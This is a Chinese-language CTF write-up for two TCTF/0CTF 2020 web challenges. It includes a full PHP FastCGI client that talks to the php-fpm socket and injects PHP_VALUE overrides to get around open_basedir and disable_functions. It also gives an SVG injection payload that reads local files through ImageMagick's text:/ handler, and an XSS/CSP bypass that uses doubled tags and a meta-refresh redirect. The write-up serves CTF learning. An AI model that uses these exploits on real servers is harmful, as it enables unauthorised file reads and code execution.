TCTF/0CTF 2020 Writeup
又是一年 0CTF, 这次一个人一队单刷一次, 做出了两题 WEB, 可惜只输出了一天, 第二天还要赶 ddl, 还是太蔡了 orz
easyphp
直接给了 webshell, 看 phpinfo,
disable_functions:
set_time_limit,ini_set,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,ld,mail,putenv,error_log,dl
open_basedir: /var/www/html
disable_classes: ReflectionClass
Server API: FPM/FastCGI
看样子是需要 rce, 有 disable_functions 和 open_basedir 的限制, 这里可以看到用的是 fpm 而且 fsockopen 没有限制, 可以想到直接打 fcgi, 不过需要知道 unix socket 的路径, 这里可以用 DirectoryIterator 来列目录, 不过试了下只能列根目录, 其他地方还是会被 open_basedir 拦, 比较神奇. 不过好在 fuzz 了一下, 是个常见未知, 在 unix:///var/run/php-fpm.sock
.
之后就不用多说了, 用 PHP_VALUE 里面的 open_basedir 覆盖掉 php.ini 里的 open_basedir 即可.
1import requests
2
3sess = requests.session()
4
5def execute_php_code(s):
6 res = sess.post('http://pwnable.org:19260/?rh=eval($_POST[a]);', data={"a": s})
7 return res.text
8
9
10code = '''
11class AA
12{
13 const VERSION_1 = 1;
14
15 const BEGIN_REQUEST = 1;
16 const ABORT_REQUEST = 2;
17 const END_REQUEST = 3;
18 const PARAMS = 4;
19 const STDIN = 5;
20 const STDOUT = 6;
21 const STDERR = 7;
22 const DATA = 8;
23 const GET_VALUES = 9;
24 const GET_VALUES_RESULT = 10;
25 const UNKNOWN_TYPE = 11;
26 const MAXTYPE = self::UNKNOWN_TYPE;
27
28 const RESPONDER = 1;
29 const AUTHORIZER = 2;
30 const FILTER = 3;
31
32 const REQUEST_COMPLETE = 0;
33 const CANT_MPX_CONN = 1;
34 const OVERLOADED = 2;
35 const UNKNOWN_ROLE = 3;
36
37 const MAX_CONNS = 'MAX_CONNS';
38 const MAX_REQS = 'MAX_REQS';
39 const MPXS_CONNS = 'MPXS_CONNS';
40
41 const HEADER_LEN = 8;
42
43 /**
44 * Socket
45 * @var Resource
46 */
47 private $_sock = null;
48
49 /**
50 * Host
51 * @var String
52 */
53 private $_host = null;
54
55 /**
56 * Port
57 * @var Integer
58 */
59 private $_port = null;
60
61 /**
62 * Keep Alive
63 * @var Boolean
64 */
65 private $_keepAlive = false;
66
67 /**
68 * Constructor
69 *
70 * @param String $host Host of the FastCGI application
71 * @param Integer $port Port of the FastCGI application
72 */
73 public function __construct($host, $port = 9000) // and default value for port, just for unixdomain socket
74 {
75 $this->_host = $host;
76 $this->_port = $port;
77 }
78
79 /**
80 * Define whether or not the FastCGI application should keep the connection
81 * alive at the end of a request
82 *
83 * @param Boolean $b true if the connection should stay alive, false otherwise
84 */
85 public function setKeepAlive($b)
86 {
87 $this->_keepAlive = (boolean)$b;
88 if (!$this->_keepAlive && $this->_sock) {
89 fclose($this->_sock);
90 }
91 }
92
93 /**
94 * Get the keep alive status
95 *
96 * @return Boolean true if the connection should stay alive, false otherwise
97 */
98 public function getKeepAlive()
99 {
100 return $this->_keepAlive;
101 }
102
103 /**
104 * Create a connection to the FastCGI application
105 */
106 private function connect()
107 {
108 if (!$this->_sock) {
109 $this->_sock = fsockopen($this->_host);
110 var_dump($this->_sock);
111 if (!$this->_sock) {
112 throw new Exception('Unable to connect to FastCGI application');
113 }
114 }
115 }
116
117 /**
118 * Build a FastCGI packet
119 *
120 * @param Integer $type Type of the packet
121 * @param String $content Content of the packet
122 * @param Integer $requestId RequestId
123 */
124 private function buildPacket($type, $content, $requestId = 1)
125 {
126 $clen = strlen($content);
127 return chr(self::VERSION_1) /* version */
128 . chr($type) /* type */
129 . chr(($requestId >> 8) & 0xFF) /* requestIdB1 */
130 . chr($requestId & 0xFF) /* requestIdB0 */
131 . chr(($clen >> 8 ) & 0xFF) /* contentLengthB1 */
132 . chr($clen & 0xFF) /* contentLengthB0 */
133 . chr(0) /* paddingLength */
134 . chr(0) /* reserved */
135 . $content; /* content */
136 }
137
138 /**
139 * Build an FastCGI Name value pair
140 *
141 * @param String $name Name
142 * @param String $value Value
143 * @return String FastCGI Name value pair
144 */
145 private function buildNvpair($name, $value)
146 {
147 $nlen = strlen($name);
148 $vlen = strlen($value);
149 if ($nlen < 128) {
150 /* nameLengthB0 */
151 $nvpair = chr($nlen);
152 } else {
153 /* nameLengthB3 & nameLengthB2 & nameLengthB1 & nameLengthB0 */
154 $nvpair = chr(($nlen >> 24) | 0x80) . chr(($nlen >> 16) & 0xFF) . chr(($nlen >> 8) & 0xFF) . chr($nlen & 0xFF);
155 }
156 if ($vlen < 128) {
157 /* valueLengthB0 */
158 $nvpair .= chr($vlen);
159 } else {
160 /* valueLengthB3 & valueLengthB2 & valueLengthB1 & valueLengthB0 */
161 $nvpair .= chr(($vlen >> 24) | 0x80) . chr(($vlen >> 16) & 0xFF) . chr(($vlen >> 8) & 0xFF) . chr($vlen & 0xFF);
162 }
163 /* nameData & valueData */
164 return $nvpair . $name . $value;
165 }
166
167 /**
168 * Read a set of FastCGI Name value pairs
169 *
170 * @param String $data Data containing the set of FastCGI NVPair
171 * @return array of NVPair
172 */
173 private function readNvpair($data, $length = null)
174 {
175 $array = array();
176
177 if ($length === null) {
178 $length = strlen($data);
179 }
180
181 $p = 0;
182
183 while ($p != $length) {
184
185 $nlen = ord($data{$p++});
186 if ($nlen >= 128) {
187 $nlen = ($nlen & 0x7F << 24);
188 $nlen |= (ord($data{$p++}) << 16);
189 $nlen |= (ord($data{$p++}) << 8);
190 $nlen |= (ord($data{$p++}));
191 }
192 $vlen = ord($data{$p++});
193 if ($vlen >= 128) {
194 $vlen = ($nlen & 0x7F << 24);
195 $vlen |= (ord($data{$p++}) << 16);
196 $vlen |= (ord($data{$p++}) << 8);
197 $vlen |= (ord($data{$p++}));
198 }
199 $array[substr($data, $p, $nlen)] = substr($data, $p+$nlen, $vlen);
200 $p += ($nlen + $vlen);
201 }
202
203 return $array;
204 }
205
206 /**
207 * Decode a FastCGI Packet
208 *
209 * @param String $data String containing all the packet
210 * @return array
211 */
212 private function decodePacketHeader($data)
213 {
214 $ret = array();
215 $ret['version'] = ord($data{0});
216 $ret['type'] = ord($data{1});
217 $ret['requestId'] = (ord($data{2}) << 8) + ord($data{3});
218 $ret['contentLength'] = (ord($data{4}) << 8) + ord($data{5});
219 $ret['paddingLength'] = ord($data{6});
220 $ret['reserved'] = ord($data{7});
221 return $ret;
222 }
223
224 /**
225 * Read a FastCGI Packet
226 *
227 * @return array
228 */
229 private function readPacket()
230 {
231 if ($packet = fread($this->_sock, self::HEADER_LEN)) {
232 $resp = $this->decodePacketHeader($packet);
233 $resp['content'] = '';
234 if ($resp['contentLength']) {
235 $len = $resp['contentLength'];
236 while ($len && $buf=fread($this->_sock, $len)) {
237 $len -= strlen($buf);
238 $resp['content'] .= $buf;
239 }
240 }
241 if ($resp['paddingLength']) {
242 $buf=fread($this->_sock, $resp['paddingLength']);
243 }
244 return $resp;
245 } else {
246 return false;
247 }
248 }
249
250 /**
251 * Get Informations on the FastCGI application
252 *
253 * @param array $requestedInfo information to retrieve
254 * @return array
255 */
256 public function getValues(array $requestedInfo)
257 {
258 $this->connect();
259
260 $request = '';
261 foreach ($requestedInfo as $info) {
262 $request .= $this->buildNvpair($info, '');
263 }
264 fwrite($this->_sock, $this->buildPacket(self::GET_VALUES, $request, 0));
265
266 $resp = $this->readPacket();
267 if ($resp['type'] == self::GET_VALUES_RESULT) {
268 return $this->readNvpair($resp['content'], $resp['length']);
269 } else {
270 throw new Exception('Unexpected response type, expecting GET_VALUES_RESULT');
271 }
272 }
273
274 public function request(array $params, $stdin)
275 {
276 $response = '';
277 $this->connect();
278
279 $request = $this->buildPacket(self::BEGIN_REQUEST, chr(0) . chr(self::RESPONDER) . chr((int) $this->_keepAlive) . str_repeat(chr(0), 5));
280
281 $paramsRequest = '';
282 foreach ($params as $key => $value) {
283 $paramsRequest .= $this->buildNvpair($key, $value);
284 }
285 if ($paramsRequest) {
286 $request .= $this->buildPacket(self::PARAMS, $paramsRequest);
287 }
288 $request .= $this->buildPacket(self::PARAMS, '');
289
290 if ($stdin) {
291 $request .= $this->buildPacket(self::STDIN, $stdin);
292 }
293 $request .= $this->buildPacket(self::STDIN, '');
294
295 fwrite($this->_sock, $request);
296
297 do {
298 $resp = $this->readPacket();
299 if ($resp['type'] == self::STDOUT || $resp['type'] == self::STDERR) {
300 $response .= $resp['content'];
301 }
302 } while ($resp && $resp['type'] != self::END_REQUEST);
303
304 if (!is_array($resp)) {
305 throw new Exception('Bad request');
306 }
307
308 switch (ord($resp['content'][4])) {
309 case self::CANT_MPX_CONN:
310 throw new Exception('This app cant multiplex [CANT_MPX_CONN]');
311 break;
312 case self::OVERLOADED:
313 throw new Exception('New request rejected; too busy [OVERLOADED]');
314 break;
315 case self::UNKNOWN_ROLE:
316 throw new Exception('Role value not known [UNKNOWN_ROLE]');
317 break;
318 case self::REQUEST_COMPLETE:
319 return $response;
320 }
321 }
322}
323
324
325$client = new AA("unix:///var/run/php-fpm.sock");
326$req = '/var/www/html/index.php';
327$uri = $req .'?'.'command=ls';
328var_dump($client);
329
330
331$code = "<?php var_dump(scandir('/'));echo base64_encode(file_get_contents('/flag.h'));\\n?>";
332$php_value = "allow_url_include = On\\nopen_basedir = /\\nauto_prepend_file = php://input";
333
334$params = array(
335 'GATEWAY_INTERFACE' => 'FastCGI/1.0',
336 'REQUEST_METHOD' => 'POST',
337 'SCRIPT_FILENAME' => '/var/www/html/index.php',
338 'SCRIPT_NAME' => '/var/www/html/index.php',
339 'QUERY_STRING' => 'command=ls',
340 'REQUEST_URI' => $uri,
341 'DOCUMENT_URI' => $req,
342 #'DOCUMENT_ROOT' => '/',
343 'PHP_VALUE' => $php_value,
344 'SERVER_SOFTWARE' => 'asd',
345 'REMOTE_ADDR' => '127.0.0.1',
346 'REMOTE_PORT' => '9985',
347 'SERVER_ADDR' => '127.0.0.1',
348 'SERVER_PORT' => '80',
349 'SERVER_NAME' => 'localhost',
350 'SERVER_PROTOCOL' => 'HTTP/1.1',
351 'CONTENT_LENGTH' => strlen($code)
352);
353
354echo "Call: $uri\\n\\n";
355var_dump($client->request($params, $code));
356'''
357
358ret = execute_php_code(code)
359print(ret)
然后可以发现根目录的 flag.so
和 flag.h
, 读取后 strings 一下就能读到 flag. 不过可以看到是与 ffi 有关的, 所以这做法应该是非预期了, 不过之后又上了个 noeasyphp 修了几个非预期解.
最后试了下用 ffi 拿 flag,
1$ffi = FFI::load("/flag.h");
2var_dump($ffi);
3var_dump($ffi->flag_fUn3t1on_fFi());
也是能读到 flag 的, 不过这方法名和文件名是怎么预期得到呢, 猜测可能需要用 ffi 的功能去直接越界读内存? 感觉预期解更有意思一点.
Wechat Generator
大概功能如下:
- 前端提交对话到后端, 后端返回生成的 svg 和对应的 id 到前端预览
- 前端提交 id 到后端, 渲染 svg 到图片
问题出在生成, 有个功能是插入表情, 比如 [cool]
, 会被替换为
1<image x="1240" y="-60" height="100" xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="http://pwnable.org:5000/static/emoji/cool"/>
显然可能存在注入, 我们输入 [cool"><a></a><a href="]
, 就成功注入了 <a></a>
到 svg 里面. 这里可以想到之前空指针的一道题, imagemagick 在对 text:/
协议解析时, 会直接读取文件里的内容, 于是我们就能通过这个方式, 注入一个图片, 链接到 text:/etc/passwd
, 之后就能通过后端渲染得到的图片, 得到文件内容.
1import requests
2import base64
3
4sess = requests.session()
5
6d = '''
7[{"type":0,"message":"Love you!<a>asd</a>[cool\\"/><image xlink:href=\\"text:/etc/passwd\\" x='-400px' y='400px' height='1500px' width='1500px'/><a href=\\"]"},{"type":1,"message":"Me too!!!"}]
8'''
9
10res = sess.post('http://pwnable.org:5000/preview', data={'data': d})
11svg = base64.b64decode(res.json()['data'][len('data:image/svg+xml;base64,'):])
12
13with open('1.svg', 'wb') as f:
14 f.write(svg)
15
16pid = res.json()['previewid']
17res = sess.post('http://pwnable.org:5000/share', data={'previewid': pid})
18print(res.text)
这里注意, 注入的内容前面一定要跟点东西, 不能直接这样 ["><a></a><a href="]
, 因为 http://pwnable.org:5000/static/emoji/
, 返回的是 404, 而 http://pwnable.org:5000/static/emoji/随意的内容
返回的是微笑. 如果什么都没有, imagemagick 得到 404 的话, 解析会直接中止.
现在就能读取文件了, 结合后端是 python, 然后一顿测试, 得到应用在 /app/app.py
, 可惜这里因为 imagemagick 的问题, 能读的源码有限, 调大图片尺寸也只能得到放大的文字, 不能显示更多的文字.
部分源码:
访问 http://pwnable.org:5000/SUp3r_S3cret_URL/0Nly_4dM1n_Kn0ws
, 然后题目一转 xss… 要求 alert(1).
因为这里有 csp 限制, 没法直接在 svg 里面用 script alert, 导致这里卡了挺久, 然后发现 imagemagick 生成的文件拓展名是可控的, 也就是第二步, 得到图片的路径是 http://pwnable.org:5000/image/gzVIsH/png
, 修改最后的 png 到 svg, 就会如蜜传如蜜, 直接输出一张的 svg, 而且 content-type 也会改变. 不过这里后端限制了扩展名长度只能为 3, 否则会直接报错.
这里查看文档, 发现 imagemagick 是支持输出 htm 的, http://pwnable.org:5000/image/gzVIsH/htm
得到的就是 htm, content-type 也变成了 text/html
. 于是 xss 思路就来了, 看到源码的过滤是直接替换为空, 可以用喜闻乐见的双写绕过.
然后在 svg 里面把最外面的 svg tag 给闭合了, 插入一个 html tag, 再用 meta 标签跳到我们的站上 alert(1) 即可, 这样就绕过了 csp.
1d = '''
2[{"type":0,"message":"Love you!<a>asd</a>[cool\\"/></g></svg><html><metmetaa http-equiv='refresh' content=\\"0;URL='http://site.com/'\\" /></html><a href=\\"]"},{"type":1,"message":"Me too!!!"}]
3'''
不过感觉可能也是非预期? 因为看源码还有个可控 callback name 的 jsonp 没用上.
PS. 这里其实可以直接读 /proc/self/environ 来读环境变量, 可惜 imagemagick 碰到 \x00 就停止读取了, 导致只能读取第一个环境变量 PATH, 读不到后面的 flag